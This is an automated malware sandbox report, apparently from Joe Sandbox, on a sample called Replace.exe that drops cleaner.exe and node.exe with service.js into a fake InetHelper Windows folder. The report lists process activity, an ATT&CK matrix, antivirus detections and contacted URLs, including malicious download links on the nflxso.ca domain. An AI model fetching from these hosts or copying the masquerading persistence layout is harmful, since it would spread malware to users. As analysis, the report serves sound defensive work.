Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe	Process created: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe" "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\service.js"
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe	Process created: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe" "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\service.js"
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table

Source: run.exe, 00000002.00000003.1768566979.0000019819FC7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: run.exe, 00000002.00000003.1768566979.0000019819FC7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: EffectsShell_TrayWnd

Source: C:\Users\user\Desktop\Replace.exe

Code function: 0_2_00BC08B5 cpuid

0_2_00BC08B5

Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe

Code function: GetLocaleInfoW,GetNumberFormatW,

2_2_00007FF75FBAEC5C

Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\service.js VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\Users VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\Users\user VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\Users\user\AppData VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\Users\user\AppData\Local VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\service.js VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\service.js VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\Windows\SysWOW64\wbem\WMIC.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper.status VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper.status VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\vp VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\Windows\SysWOW64\wbem\WMIC.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper.status VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper.status VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\Windows\SysWOW64\wbem\WMIC.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\Windows\SysWOW64\wbem\WMIC.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\Windows\SysWOW64\wbem\WMIC.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\Windows\SysWOW64\wbem\WMIC.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\Windows\SysWOW64\wbem\WMIC.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\Windows\SysWOW64\wbem\WMIC.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\Windows\SysWOW64\wbem\WMIC.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\Windows\SysWOW64\wbem\WMIC.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\Windows\SysWOW64\wbem\WMIC.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\service.js VolumeInformation
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\Users\user VolumeInformation
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\Users\user\AppData VolumeInformation
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\Users\user\AppData\Local VolumeInformation
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft VolumeInformation
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper VolumeInformation
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\service.js VolumeInformation
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\service.js VolumeInformation
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\Windows\SysWOW64\wbem\WMIC.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper.status VolumeInformation
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\service.js VolumeInformation
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\Users\user VolumeInformation
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\Users\user\AppData VolumeInformation
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\Users\user\AppData\Local VolumeInformation
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft VolumeInformation
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper VolumeInformation
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\service.js VolumeInformation
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\service.js VolumeInformation
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\Windows\SysWOW64\wbem\WMIC.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper.status VolumeInformation

Source: C:\Users\user\Desktop\Replace.exe

Code function: 0_2_00BCC886 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00BCC886

Source: C:\Users\user\Desktop\Replace.exe

Code function: 0_2_00BCB658 __EH_prolog3_GS,GetVersionExA,CreateThread,GetCommandLineW,MessageBoxW,MessageBoxW,MessageBoxW,ShellExecuteExA,MessageBoxW,MessageBoxW,CreateProcessA,CloseHandle,WaitForSingleObject,WaitForSingleObject,CloseHandle,WaitForSingleObject,CloseHandle,

0_2_00BCB658

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	3 Command and Scripting Interpreter	1 Windows Service	1 Access Token Manipulation	21 Obfuscated Files or Information	LSASS Memory	3 File and Directory Discovery	Remote Desktop Protocol	1 Clipboard Data	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Service Execution	21 Registry Run Keys / Startup Folder	1 Windows Service	11 Software Packing	Security Account Manager	35 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	122 Process Injection	1 DLL Side-Loading	NTDS	221 Security Software Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Registry Run Keys / Startup Folder	3 Masquerading	LSA Secrets	131 Virtualization/Sandbox Evasion	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	131 Virtualization/Sandbox Evasion	Cached Domain Credentials	3 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	122 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Rundll32	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Replace.exe	29%	ReversingLabs	Win32.PUA.Presenoker
Replace.exe	49%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\wnsCCC1.tmp	100%	Avira	PUA/Agent.clw
C:\Users\user\AppData\Local\Temp\wnsF0F3.tmp	100%	Avira	PUA/Agent.clw
C:\Users\user\AppData\Local\Temp\wsc86FC.tmp	100%	Avira	TR/Spy.Gen
C:\Users\user\AppData\Local\Temp\wnsA071.tmp	100%	Avira	PUA/Agent.clw
C:\Users\user\AppData\Local\Temp\wnsCCC1.tmp	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\wnsF0F3.tmp	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\wsc86FC.tmp	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\wnsA071.tmp	100%	Joe Sandbox ML
C:\Program Files\Image-Line\FL Studio 20\FL64.exe	0%	ReversingLabs
C:\Program Files\Image-Line\FL Studio 20\FL64.exe	1%	Virustotal		Browse
C:\Program Files\Image-Line\FL Studio 20\FLEngine_x64.dll	0%	ReversingLabs
C:\Program Files\Image-Line\FL Studio 20\FLEngine_x64.dll	6%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe	88%	ReversingLabs	Win32.Trojan.Leonem
C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe	73%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	9%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	7%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\wnsA071.tmp	83%	ReversingLabs	Win32.PUA.Presenoker
C:\Users\user\AppData\Local\Temp\wnsA071.tmp	77%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\wnsCCC1.tmp	83%	ReversingLabs	Win32.PUA.Presenoker
C:\Users\user\AppData\Local\Temp\wnsCCC1.tmp	77%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\wnsF0F3.tmp	83%	ReversingLabs	Win32.PUA.Presenoker
C:\Users\user\AppData\Local\Temp\wnsF0F3.tmp	77%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\wsc86FC.tmp	75%	ReversingLabs	Win32.Trojan.RealProtect
C:\Users\user\AppData\Local\Temp\wsc86FC.tmp	67%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
files.nflxso.ca	6%	Virustotal		Browse
register.nflxso.ca	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://tc39.github.io/ecma262/#sec-%iteratorprototype%-object	0%	URL Reputation	safe
http://crl.dhimyotis.com/certignarootca.crl	0%	URL Reputation	safe
https://wwww.certigna.fr/autorites/0m	0%	URL Reputation	safe
http://crl.securetrust.com/STCA.crl	0%	URL Reputation	safe
https://tc39.es/ecma262/#sec-IsHTMLDDA-internal-slot	0%	URL Reputation	safe
http://www.accv.es00	0%	URL Reputation	safe
https://sourcemaps.info/spec.html	0%	URL Reputation	safe
http://crl.securetrust.com/SGCA.crl0	0%	URL Reputation	safe
https://heycam.github.io/webidl/#dfn-default-iterator-object	0%	URL Reputation	safe
https://heycam.github.io/webidl/#es-iterable-entries	0%	URL Reputation	safe
https://heycam.github.io/webidl/#es-interfaces	0%	URL Reputation	safe
https://files.nflxso.ca/t	0%	Avira URL Cloud	safe
https://files.nflxso.ca/d	0%	Avira URL Cloud	safe
https://files.nflxso.ca/downloads/winapp/latest-version.txt1%	100%	Avira URL Cloud	malware
http://register.nflxso.ca:6101/strvn	0%	Avira URL Cloud	safe
http://narwhaljs.org)	0%	Avira URL Cloud	safe
http://crl.netsolssl.com/NetworkSolutionsCertificateAuthority.crl	0%	Avira URL Cloud	safe
https://files.nflxso.ca/downloads/winapp/latest-installer.exe3	100%	Avira URL Cloud	malware
https://files.nflxso.ca/downloads/winapp/latest-installer.exe-	100%	Avira URL Cloud	malware
http://html4/loose.dtd	0%	Avira URL Cloud	safe
http://register.nflxso.ca:6101/strvn	2%	Virustotal		Browse
https://files.nflxso.ca/d	5%	Virustotal		Browse
http://files.nflxso.ca/downloads/winapp/latest-version.txt	0%	Avira URL Cloud	safe
http://.css	0%	Avira URL Cloud	safe
http://crl.netsolssl.com/NetworkSolutionsCertificateAuthority.crlF	0%	Avira URL Cloud	safe
http://crl.netsolssl.com/NetworkSolutionsCertificateAuthority.crl	0%	Virustotal		Browse
http://files.nflxso.ca/downloads/winapp/latest-version.txt	5%	Virustotal		Browse
http://crl.netsolssl.com/NetworkSolutionsCertificateAuthority.crlF	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
plus.l.google.com	172.253.122.101	true	false		high
files.nflxso.ca	172.67.152.151	true	true	6%, Virustotal, Browse	unknown
www.google.com	142.251.16.147	true	false		high
register.nflxso.ca	74.201.73.52	true	false	1%, Virustotal, Browse	unknown
apis.google.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://register.nflxso.ca:6101/strvn	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://files.nflxso.ca/downloads/winapp/latest-version.txt	true	5%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://url.spec.whatwg.org/#concept-url-origin	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false		high
https://www.ecma-international.org/ecma-262/8.0/#prod-NonemptyClassRangesNoDash	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false		high
https://www.ecma-international.org/ecma-262/8.0/#sec-atomescape	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false		high
https://www.image-line.com/newreleases/?username=%s&productcodes=%s&productversions=%s	run.exe, 00000002.00000003.1768566979.000001981A9C7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://files.nflxso.ca/d	rundll32.exe, 00000007.00000002.2229301918.0000000002F55000.00000004.00000020.00020000.00000000.sdmp	false	5%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.ecma-international.org/ecma-262/8.0/#prod-Atom	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false		high
https://gist.github.com/XVilka/8346728#gistcomment-2823421	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false		high
https://github.com/nodejs/node-v0.x-archive/issues/2876.	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false		high
http://repository.swisssign.com/0	node.exe, 0000000F.00000002.2923728743.00000000043EE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecma-international.org/ecma-262/#sec-timeclip	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false		high
https://console.spec.whatwg.org/#table	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false		high
https://nodejs.org/download/release/v12.22.12/win-x86/node.lib)	node.exe, 0000000F.00000002.2921222937.0000000001F88000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.iana.org/assignments/tls-extensiontype-values	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false		high
https://console.spec.whatwg.org/#console-namespace	node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false		high
https://url.spec.whatwg.org/#url	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false		high
https://support.image-line.com/action/license/serial?serial=%s	run.exe, 00000002.00000003.1768566979.0000019819FC7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://encoding.spec.whatwg.org/#textencoder	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false		high
https://github.com/nodejs/node/issues/13435	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false		high
https://www.ecma-international.org/ecma-262/8.0/#prod-ClassAtomNoDash	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false		high
https://goo.gl/t5IS6M).	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false		high
https://tools.ietf.org/html/rfc7230#section-3.2.2	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false		high
https://github.com/nodejs/node/commit/f7620fb96d339f704932f9bb9a0dceb9952df2d4	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false		high
https://www.ecma-international.org/ecma-262/8.0/#prod-ClassAtom	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false		high
https://www.ecma-international.org/ecma-262/8.0/#prod-annexB-Assertion	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false		high
https://tc39.github.io/ecma262/#sec-%iteratorprototype%-object	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false	URL Reputation: safe	unknown
https://url.spec.whatwg.org/#concept-urlencoded-serializer	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false		high
http://crl.dhimyotis.com/certignarootca.crl	node.exe, 0000000F.00000002.2923728743.00000000043EE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nodejs.org/download/release/v12.22.12/win-x86/node.lib	node.exe, 0000001E.00000002.2323547377.0000000013D1A000.00000004.00001000.00020000.00000000.sdmp	false		high
https://files.nflxso.ca/t	rundll32.exe, 00000001.00000002.2142874146.00000000028CA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://wiki.squid-cache.org/SquidFaq/InnerWorkings#What_is_a_half-closed_filedescriptor.3F	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false		high
http://repository.swisssign.com/T	node.exe, 0000000F.00000002.2922964130.00000000042D7000.00000004.00000020.00020000.00000000.sdmp, node.exe, 0000000F.00000003.2451444266.00000000042D7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.image-line.com/redirect/downloadnewsrss	run.exe, 00000002.00000003.1768566979.0000019819FC7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://nodejs.org/api/fs.html	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false		high
https://github.com/chalk/ansi-regex/blob/master/index.js	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false		high
https://nodejs.org/download/release/v12.22.12/node-v12.22.12.tar.gzh~	node.exe, 0000001E.00000002.2323547377.0000000013D1A000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/nodejs/node/pull/21313	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false		high
https://www.ecma-international.org/ecma-262/8.0/#prod-ClassRanges	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false		high
https://www.ecma-international.org/ecma-262/8.0/#prod-NonemptyClassRanges	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false		high
https://files.nflxso.ca/downloads/winapp/latest-version.txt1%	node.exe, 0000000F.00000003.2232924754.00000000061C0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.midnight-commander.org/browser/lib/tty/key.c	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false		high
https://nodejs.org/	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false		high
https://tools.ietf.org/html/rfc7540#section-8.1.2.5	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false		high
https://www.ecma-international.org/ecma-262/8.0/#prod-ControlEscape	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false		high
https://wwww.certigna.fr/autorites/0m	node.exe, 0000000F.00000002.2923728743.00000000043EE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecma-international.org/ecma-262/8.0/#prod-Hex4Digits	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false		high
